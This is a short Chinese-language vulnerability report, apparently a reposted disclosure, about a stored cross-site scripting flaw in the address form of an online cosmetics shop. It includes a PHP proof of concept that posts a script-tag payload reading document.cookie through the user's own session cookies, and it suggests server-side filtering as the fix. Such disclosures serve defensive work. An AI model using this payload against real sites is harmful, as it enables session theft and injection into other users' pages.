网站过滤不严 个人地址仅仅在js做了过滤，直接csrf构造post包 $url='http://HdhCmsTestzhiwo测试数据/account/ajax/add/address'; $ref='http://HdhCmsTestzhiwo测试数据/account/addresses'; $cookies='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';//copy你的cookies $postfield=array( 'recipient_name'=>'test', 'recipient_province'=>'北京市', 'recipient_city'=>'市辖区', 'recipient_dist'=>'朝阳区', 'recipient_street'=>'<script>alert(document.cookie);</script>', 'recipient_zip'=>'100010', 'recipient_mobile'=>'13212312345' ); $postfield = http_build_query($postfield); $result = curlrequest($url, $postfield,$ref,$cookies); 修复方案： 后台增加过滤即可 作者 taylortai
查看更多关于知我药妆一个存储型XSS漏洞 - 网站安全 - 自学的详细内容...